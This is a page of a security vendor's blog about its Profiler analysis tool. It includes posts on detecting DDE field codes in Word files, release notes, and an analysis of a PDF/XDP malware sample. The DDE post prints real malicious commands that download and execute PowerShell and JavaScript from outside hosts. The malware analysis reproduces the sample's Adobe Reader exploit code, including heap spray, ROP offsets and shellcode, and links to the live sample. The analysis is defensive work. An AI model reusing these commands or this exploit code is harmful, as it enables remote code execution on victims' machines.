Cerbero Blog – Page 13

Microsoft Office DDE Detection

In this article we’re not going to discuss how DDE works, there are plenty of excellent resources about this topic already (also here and here).

Instead we’re going to see how to inspect DDE field codes in Profiler. In fact, the upcoming 2.9 version of Profiler comes with detection of DDE field codes.

So let’s start by opening a modern Word document (.docx).

We can see that the main document.xml is highlighted as malicious. If we open the file, we’ll see that Profiler informs us about a possible DDE attack.

The actual DDE code is spread among the XML and makes it difficult for us to read.

So let’s use two actions to clean it up. Press Ctrl+R to execute the XML->To text action.

Followed by the Text->Strip one.

Once done, we’ll obtain the following text:

DDEAUTO c:\ \Windows\ \ System32\ \ cmd.exe “/ k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString( ‘ http://ec2-54-158-67-5.compute-1.amazonaws.com/CCA/ DDE 2 .ps1’);powershell -e $e ” !Unexpected End of Formula

Which is pretty clear: it downloads a PowerShell script from a URL and then executes it.

Now let’s look at an old-school Word document (.doc).

In this case it’s even easier for us to inspect the DDE code as clicking on the threat immediately brings us to it.

By copying the ascii text from the hex view or executing the Conversion->Bytes to text action we’ll obtain the following code:

DDEAUTO c:\\Windows\\System32\\cmd.exe “/k powershell.exe -w hidden -nop -ep bypass Start-BitsTransfer -Source “https://www.dropbox.com/s/or2llvdmli1bw4o/index.js?dl=1” -Destination “index.js” & start c:\\Windows\\System32\\cmd.exe /c cscript.exe index.js”

Which downloads a Windows JS script and executes it.

Now let’s go back to a modern office sample. In this particular case the DDE code is obfuscated as explained in two of the articles linked in the beginning.

The XML is full of this QUOTE-followed-by-decimal-numbers syntax.

Since the strings are inside XML attributes, we can’t use the XML->To text action. Instead, we just clean it up manually as there are only 3 of these QUOTES.

SET c  QUOTE  67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35
       QUOTE  97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110
	   QUOTE  116 114 121 32 97 103 97 105 110 32 108 97 116 101 114

Out of this, we can make a small Python script to convert the numbers to a hex string and print it out to the console:

s = "67 58 92 80 114 111 103 114 97 109 115 92 77 105 99 114 111 115 111 102 116 92 79 102 102 105 99 101 92 77 83 87 111 114 100 46 101 120 101 92 46 46 92 46 46 92 46 46 92 46 46 92 87 105 110 100 111 119 115 92 83 121 115 116 101 109 51 50 92 87 105 110 100 111 119 115 80 111 119 101 114 83 104 101 108 108 92 118 49 46 48 92 112 111 119 101 114 115 104 101 108 108 46 101 120 101 32 45 78 111 80 32 45 115 116 97 32 45 78 111 110 73 32 45 87 32 72 105 100 100 101 110 32 36 101 61 40 78 101 119 45 79 98 106 101 99 116 32 83 121 115 116 101 109 46 78 101 116 46 87 101 98 67 108 105 101 110 116 41 46 68 111 119 110 108 111 97 100 83 116 114 105 110 103 40 39 104 116 116 112 58 47 47 110 101 116 109 101 100 105 97 114 101 115 111 117 114 99 101 115 46 99 111 109 47 99 111 110 102 105 103 46 116 120 116 39 41 59 112 111 119 101 114 115 104 101 108 108 32 45 101 110 99 32 36 101 32 35 97 32 115 108 111 119 32 105 110 116 101 114 110 101 116 32 99 111 110 110 101 99 116 105 111 110 116 114 121 32 97 103 97 105 110 32 108 97 116 101 114"
l = s.split(" ")
l2 = list()
for n in l:
    if n.strip():
        l2.append(int(n))
b = bytearray(l2)
import binascii
b = binascii.hexlify(b)
print(b)

Then we simply select the hex string and run the action Conversion->Hex string to bytes.

And now we can see the decoded bytes in hex view.

This is the DDE code:

C:\Programs\Microsoft\Office\MSWord.exe\..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString(‘http://netmediaresources.com/config.txt’);powershell -enc $e #a slow internet connectiontry again later

Yet again it downloads a PowerShell script and executes it.

Pretty simple!

Profiler 2.8 – Windows Memory Forensics

Windows memory forensics on OSX.

Profiler 2.8 is out with the following news:

+ added support for Windows raw memory images
– added unhandled exception debug tools on Windows
– added unhandled exception notification for Python
– exposed tree control to the Python SDK
– improved CFBF support
– improved PDF parsing against new malware samples
– fixed PDB issue with zero-sized streams
– fixed issues in JBIG2 decoder
– fixed display of PE timestamps in UTC

The biggest news is undoubtedly the introduction of Windows memory forensics support in the Advanced version of Profiler.

And here’s the same screenshot as above taken on Linux.

Improved Exception Handling

We have also drastically improved exception handling for both Python and native code, especially on Windows.

Whenever Python raises an unhandled exception a message box pops up on Windows and on other systems the exception is printed out to the terminal if it happens outside of the UI thread.

When the issue is more serious and results in a crash the user will be presented with the following message box on Windows.

If the crash happened from Python code, the user is given the possibility to retrieve a backtrace of the last executed Python methods.

If the crash happened in the native code, it’s now possible to create a dump file.

Enjoy!

Windows Memory Forensics: Close to Release

We’re extremely proud to announce that the upcoming 2.8 version of Profiler Advanced comes with full-fledged support for raw Windows memory images! As few of our users might remember a two years old demo about this topic. Thanks to the work of the past months of our team, we could finalize that idea into a real product.

This is a hex view showing the user space regions of a process on Win8 x64.

We currently support WinXP to Win10 both x86 and x64. And, of course, the support for Windows memory forensics is available on all platforms which Profiler runs on: Windows, OS X and Linux.

Opening and exploring a raw memory image in Profiler is extremely simple. The first step is to open the memory image from the UI.

Profiler automatically tries to identify the correct Windows version and the user is presented with an options dialog, which allows modifications to the default parameters.

If the user decides to modify the parameters, he can verify the correctness of the results by exploring processes and other parts.

Once the users is satisfied with the configuration, he may press “OK” and let Profiler analyse the image. Once the detection and analysis of embedded modules and files is finished, the user is presented with the workspace.

In the workspace the user can explore executables loaded in memory (Wow64 is supported).

He may explore the PEB of a process.

Or its VAD tree.

The System Service Descriptor Table (SSDT).

The Processor Control Block (KPRCB).

And of course explore kernel memory and drivers as well.

As usual, once the initial analysis is finished, everything can be saved into a project along with notes, bookmarks, layouts and so on. Loading a memory image from a project is immediate and saves a lot of time when analysing the same memory image multiple times.

This is just the beginning: we have many ideas and expect to release more frequently than in the past. I’m sure, we’ll be able to pleasantly surprise you!

Profiler 2.7

Profiler 2.7 is out with the following news:

+ added experimental support for Windows raw memory images
+ added support for EML files
+ added TOR-based URL download action
– added JBIG2 decoder for PDFs
– improved PDF parsing against new malware samples
– improved search in hex view
– updated OpenSSL to 1.0.2
– updated Python to 3.6
– reduced dependencies on Linux
– fixed possible division by zero in PEObject::RvaToOffset
– fixed filter preview crash
– fixed Python multi-threading issue
– fixed PasteBin plugin
– fixed recognition of newer DEX files
– default to SHA-2/256 instead of SHA-1
– various bug fixes and improvements

With this version we also start to release the Advanced edition of Profiler. News entries marked by the ‘+’ sign are exclusive to the Advanced edition.

Experimental support for Windows raw memory images

Quite some time has passed since we published a post demonstrating some basic memory forensics capabilities in Profiler.

In this release of the Advanced edition we decided to publish that code, although barely functional. We didn’t want to additionally delay this long due release by working more on the memory forensic part. We will try to clean it up and make it more useful for the next release. 🙂

Enjoy!

URL Download Action (Tor)

In the upcoming version of Profiler Advanced we have introduced a new useful action, namely the URL Download action.

Many times in previous posts we have analyzed some malware which at the end of its shellcode ended up downloading a binary from the internet and executing it. We thought it would be nice to give our users the possibility to anonymously download content from the internet in order to continue the analysis.

One way to download anonymously from the internet using our new action is via Tor. On Windows it’s sufficient to install and run the Tor browser.

The action will automatically try to load a possible URL from the current context, be it hex view, text editor or clipboard.

The dialog of the action offers different configuration settings: headers, user agent, download method (direct, SOCKS4, SOCKS5) along with relative parameters, anonymity check and also what to do with the downloaded content (either download it to file or preview it in a hex view).

Since we’re using Tor, we can either use the SOCKS4 or 5 method. We specify our local address and the port onto which Tor is listening for connections, in this case 9150.

The anonymity check is performed against our own https secured server: it will fetch the real IP by connecting to our server and then try to connect again via the secure method.

When the anonymity verification option is selected, before downloading the payload, we are asked by a message box to confirm the success of the anonymization.

If we click on OK, Profiler will then fetch the actual payload.

If we chose to preview the content in a hex view and decide later that we want to save it on disk, we can do so by selecting all the bytes (Ctrl+A) and then copying them into a new file via the copy menu.

EML support

The upcoming 2.7 version of Profiler Advanced introduces support for the EML file format.

Support for EML files had until now only been present as experimental hook to extract attachments. We have now introduced full-fledged EML support and have removed the previous experimental code.

It’s possible to preview the email messages:

Inspect their file format:

And, as expected, inspect their attachments:

The image above shows JavaScript contained in a PDF inside a Zip archive attachment, while the image below shows ActionScript3 byte code of a SWF contained in a PDF inside a Zip archive attached to an email.

Enjoy!

Profiler Advanced

With the upcoming 2.7 version of Profiler, we will start releasing an Advanced edition alongside the Standard one. All our users who have bought a license until this point in time will automatically have their license work with the Advanced edition for free. This is our way to thank you for your trust!

Apart from support for Torrent files, all features which had been in the Standard edition until now will be kept there. The Advanced edition comes with new features and is especially designed for experts in the forensic and security field.

Each new version of Profiler will come with new features both in the Standard and Advanced edition. We will launch the Advanced edition with an early-adoption price.

JBIG2 Encoded Malware in PDFs

The upcoming version of Profiler 2.7 adds support for JBIG2 encoding inside PDFs. Although JBIG2 isn’t intended to encode data other than images, it can be used to do so. Quoting the PDF documentation:

The JBIG2Decode filter (PDF 1.4) decodes monochrome (1 bit per pixel) image data that has been encoded using JBIG2 encoding. JBIG stands for the Joint Bi-Level Image Experts Group, a group within the International Organization forStandardization (ISO) that developed the format. JBIG2 is the second version of a standard originally released as JBIG1.

JBIG2 encoding, which provides for both lossy and lossless compression, is useful only for monochrome images, not for color images, grayscale images, or general data. The algorithms used by the encoder, and the details of the format, are not described here. A working draft of the JBIG2 specification can be found through the Web site for the JBIG and JPEG (Joint Photographic Experts Group) committees at http://www.jpeg.org.

Here’s a PDF malware trying to conceal its XFA form by encoding it via JBIG2:

And the decoded content:

While this is in no way common in PDF malware, it’s an effective trick to prevent automatic and manual analysis, since JBIG2 is seldom supported by security tools.

Yet another PDF/XDP Malware

Today we’re going to analyze yet another sample of PDF containing an XDP form. The difference between this sample and the one of my previous post is that this one will be less about JavaScript deobfuscation and more about anti-analysis tricks.

If you want to follow hands-on the analysis, this is the link to the malware sample (password: infected29A). Also make sure to update Profiler to the current 2.6.2 version!

MD5: 4D686BCEE50538C969647CF8BB6601F6
SHA-256: 01F13FE4E597F832E8EDA90451B189CDAFFF80F8F26DEE31F6677D894688B370

Let’s open the Zip archive. The first thing we notice is that the file has been incorrectly identified as CFBF.

That’s because the beginning of the file contains a CFBF signature:

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  D0 CF 11 E0 A1 B1 1A E1   00 00 00 00 00 00 00 00     ................

If we were to open the file directly from the file-system, we would be prompted to choose the correct file format:

But as such is not the case, we simply go to the decompressed stream in the Zip archive (or to the CFBF document, it doesn’t matter), position the cursor to the start of the file and press Ctrl+E.

We select the PDF format and then open the newly created embedded file in the hierarchy.

What we’ll notice by looking at the summary is that a stream failed to decompress, because it hit the memory limit. A tool-tip informs us that we can tweak this limit from the settings. So let’s click on “Go to report” in the tool-bar.

This will bring us to the main window. From there we can go to the settings and increase the limit.

In our case, 100 MBs are enough, since the stream which failed to decompress is approximately 90 MBs. Let’s click on “Save settings”, click on “Computer Scan” and then back to our file.

Let’s now repeat the procedure to load the embedded file as PDF and this time we won’t get the warning:

Just for the sake of cleanliness, we can also select the mistakenly identified CFBF embedded file and press “Delete”, in order to remove it from the analysis.

We are informed by the summary that the PDF contains an interactive form and, in fact, we can already see the XDP as child of the PDF.

We could directly proceed with the analysis of the XFA, but let’s just step back a second to analyze a trick this malware uses to break automatic analysis. The XFA is contained in the object 1.0 of the PDF.

Let’s go with the cursor to the stream part of the object (the one in turquoise), then let’s open the context menu and click on “Ranges->Select continuous range” (alternatively Ctrl+Alt+A). This will select the stream data of the object. Let’s now press Ctrl+T to invoke the filters and apply the unpack/zlib filter. If we now click on “Preview”, we’ll notice that an error is reported.

The stream is still decompressed, but it also reports an error. This is one of the trick this malware uses to break automatic analysis: the ZLib stream is corrupted at the very end.

Let’s now open the XFA. Immediately we can see another simple trick to fool identification of the XDP: a newline byte at the start.

Offset     0  1  2  3  4  5  6  7    8  9  A  B  C  D  E  F     Ascii   

00000000  0A 3C 78 64 70 3A 78 64   70 20 78 6D 6C 6E 73 3A     .<xdp:xdp.xmlns:
00000010  78 64 70 3D 22 68 74 74   70 3A 2F 2F 6E 73 2E 61     xdp="http://ns.a
00000020  64 6F 62 65 2E 63 6F 6D   2F 78 64 70 2F 22 20 74     dobe.com/xdp/".t

Given the huge size of the XDP it’s not wise to open it in the text editor, but we can look at the extracted JavaScript from the summary.

Here are the various parts which make up the JavaScript code:

// part 1
            function pack(i){
                var low = (i & 0xffff);
                var high = ((i>>16) & 0xffff);
                return String.fromCharCode(low)+String.fromCharCode(high);
            }
            function unpackAt(s, pos){
                return  s.charCodeAt(pos) + (s.charCodeAt(pos+1)<<16);
            }
            function packs(s){
                result = "";
                    for (i=0;i<s.length;i+=2)
                    result += String.fromCharCode(s.charCodeAt(i) + (s.charCodeAt(i+1)<<8));
                    return result;
                }
            function packh(s){
                return String.fromCharCode(parseInt(s.slice(2,4)+s.slice(0,2),16));
                }
            function packhs(s){
                result = "";
                for (i=0;i<s.length;i+=4)
                result += packh(s.slice(i,i+4));
                return result;
            }

            var _offsets =  {"Reader": {

                                         "9.303": {
                                                    "acrord32":    0x85,
                                                    "rop0":        0x14BA8,
                                                    "rop1":        0x1E73AF,
                                                    "rop1x":       0x2F12,
                                                    "rop2":        0x196774,
                                                    "rop3":        0xE475,
                                                    "rop3x":       0xE476,
                                                    "rop4":        0x3B2A,
                                                    "GMHWA":       0x7F245C,
                                                    "VPA":         0xB8809C,
                                                    },
                                        "9.304": {
                                                    "acrord32":    0x85,
                                                    "rop0":        0x14BD8,
                                                    "rop1":        0x1E74BF,
                                                    "rop1x":       0x2F12,
                                                    "rop2":        0x1966A2,
                                                    "rop3":        0xE495,
                                                    "rop3x":       0xE496,
                                                    "rop4":        0x3B2A,
                                                    "GMHWA":       0x7F245C,
                                                    "VPA":         0xB8809C,
                                                    },
                                        "9.4": {
                                                    "acrord32":    0x85,
                                                    "rop0":        0x14BD8,
                                                    "rop1":        0x1C9D3F,
                                                    "rop1x":       0x2F12,
                                                    "rop2":        0x1792EE,
                                                    "rop3":        0xE455,
                                                    "rop3x":       0xE456,
                                                    "rop4":        0x3B2A,
                                                    "GMHWA":       0x7F245C,
                                                    "VPA":         0xB8809C,
                                                    },
                                                    
                                        // cut for the sake of brevity...
                                                    
// part 2

            var slide_size=0x12c;
            var size = 200;
            var chunkx = "\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f";
            var x = new Array(size);
            var y = new Array(size);
            var z = new Array(size);
            var pointers = new Array(100);
            var done = 0;
            
// part 3

            var i; var j;
            if (spray.done == 0){
               var TOKEN = "\u5858\u5858\u5678\u1234";
               var chunk_len = spray.slide_size/2-1-(TOKEN.length+2+2);

               for (i=0; i < spray.size; i+=1)
                  spray.x[i] = TOKEN + util.pack(i) +
                               spray.chunkx.substring(0, chunk_len) +
                               util.pack(i) + "";

               for (j=0; j < 1000; j++)
                  for (i=spray.size-1; i > spray.size/4; i-=10)
                     spray.x[i]=null;

               spray.done = 1;
            }
            
// part 4

            var i; var j;
            var found = -1;  // Index of the overlapped string
            var acro = 0;    // Base of the AcroRd32_dll
            var ver = app.viewerVersion.toFixed(3);
            var verArr = ver.split(".");
            var verA = parseInt(verArr[0]);
            var verB = (verArr.length > 1)  ? parseInt(verArr[1]) : 0;

            var x1, x2, x3;

            if(verArr.length > 1)
            {
                verB = parseInt(verArr[1]);
                if(verArr[1].length == 1)  verB *= 100;
            }
            else
                verB = 0;

            var shellcode = "\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u77eb\uc931\u8b64\u3071\u768b\u8b0c\u1c76\u5e8b\u8b08\u207e\u368b\u3966\u184f\uf275\u60c3\u6c8b\u2424\u458b\u8b3c\u0554\u0178\u8bea\u184a\u5a8b\u0120\ue3eb\u4934\u348b\u018b\u31ee\u31ff\ufcc0\u84ac\u74c0\uc107\u0dcf\uc701\uf4eb\u7c3b\u2824\ue175\u5a8b\u0124\u66eb\u0c8b\u8b4b\u1c5a\ueb01\u048b\u018b\u89e8\u2444\u611c\ue8c3\uff92\uffff\u815f\u98ef\uffff\uebff\ue805\uffed\uffff\u8e68\u0e4e\u53ec\u94e8\uffff\u31ff\u66c9\u6fb9\u516e\u7568\u6c72\u546d\ud0ff\u3668\u2f1a\u5070\u7ae8\uffff\u31ff\u51c9\u8d51\u8137\ueec6\uffff\u8dff\u0c56\u5752\uff51\u68d0\ufe98\u0e8a\ue853\uff5b\uffff\u5141\uff56\u68d0\ud87e\u73e2\ue853\uff4b\uffff\ud0ff\u6d63\u2e64\u7865\u2065\u632f\u2020\u2e61\u7865\u0065\u7468\u7074\u2f3a\u672f\u2e65\u7474\u322f\u3472\u6653\u6339\u0032\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090";
            var shellcode2 = shellcode[0] + util.pack((verB << 16) | verA) + shellcode.substring(3);
            var add_num = verA >= 11 ? 16 : 14;

            for (i=0; i < spray.size; i+=1)
               if ((spray.x[i]!=null)  && (spray.x[i][0] != "\u5858")){
                  found = i;
                  acro_high_w = acro = (util.unpackAt(spray.x[i], add_num) >> 16);
                  acro = (acro_high_w - util.offset("acrord32")) << 16;
                  break;
               }

            if (found == -1){
               event.target.closeDoc(true);
            }

            if (found == -1)
            {
              x1 = 0x1e1a757f;
              x2 = 0x11e5263c;
              x3 = 0x984caf6;

             acro = x1+x2+x3;
            }

            var chunky = "";
            var heap_addr = 0x10101000;

            if (verA < 11)
            {
                for (i=0; i < 7; i+=1)
               chunky += util.pack(0x41414141);
            }

            chunky += util.pack(heap_addr);
            while (chunky.length < spray.slide_size/2)
               chunky += util.pack(0x58585858);

            for (j=0; j < 10000; j++)
               spray.x[found-1]=spray.x[found]=null;

            for (i=0; i < spray.size; i+=1){
               ID = "" + i;
               spray.y[i] = chunky.substring(0,spray.slide_size/2-ID.length) + ID+ "";
            }

            var obj = heap_addr;
            var pointer_slide = "";

            pointer_slide += util.pack(acro+util.offset("rop1")); //add esp,60;ret

            for (i=0; i < 27; i+=1)
            {
               if ( i == 24 )
               pointer_slide += util.pack(acro+util.offset("rop1x")); //-> rop2
               else
               pointer_slide += util.pack(0x41414141);
            }

            obj += pointer_slide.length*2;
            // ROP
            pointer_slide += util.pack(acro+util.offset("rop0"));
            pointer_slide += util.pack(acro+util.offset("rop3x"));
            pointer_slide += util.pack(acro+util.offset("GMHWA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            //@0x10
            pointer_slide += util.pack(acro+util.offset("rop2"));
            pointer_slide += util.pack(obj+0xDC);
            pointer_slide += util.pack(obj+0xCC);
            pointer_slide += util.pack(0x43434343);
            //@0x20
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(0x43434343);
            pointer_slide += util.pack(acro+util.offset("rop3"));
            pointer_slide += util.pack(acro+util.offset("rop3"));
            //@0x30
            pointer_slide += util.pack(acro+util.offset("VPA"));
            pointer_slide += util.pack(acro+util.offset("rop4"));
            pointer_slide += util.pack(obj+0x50);
            pointer_slide += util.pack(obj+0x50);
            //0x40
            pointer_slide += util.pack(0x1000);
            pointer_slide += util.pack(0x40);
            pointer_slide += util.pack(obj+0x4C);
            pointer_slide += util.pack(0x00000000);
            //0x50
            pointer_slide += util.packhs("E999000000909090");
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x60
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            //0x70
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(0xCCCCCCCC);
            pointer_slide += util.pack(acro);
            pointer_slide += util.pack(0x48484848);
            //0x80
            pointer_slide += util.pack(0x49494949);
            pointer_slide += util.pack(0x50505050);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0x90
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xa0
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            pointer_slide += util.pack(0x46464646);
            //0xb0
            pointer_slide += util.pack(0x46464646);
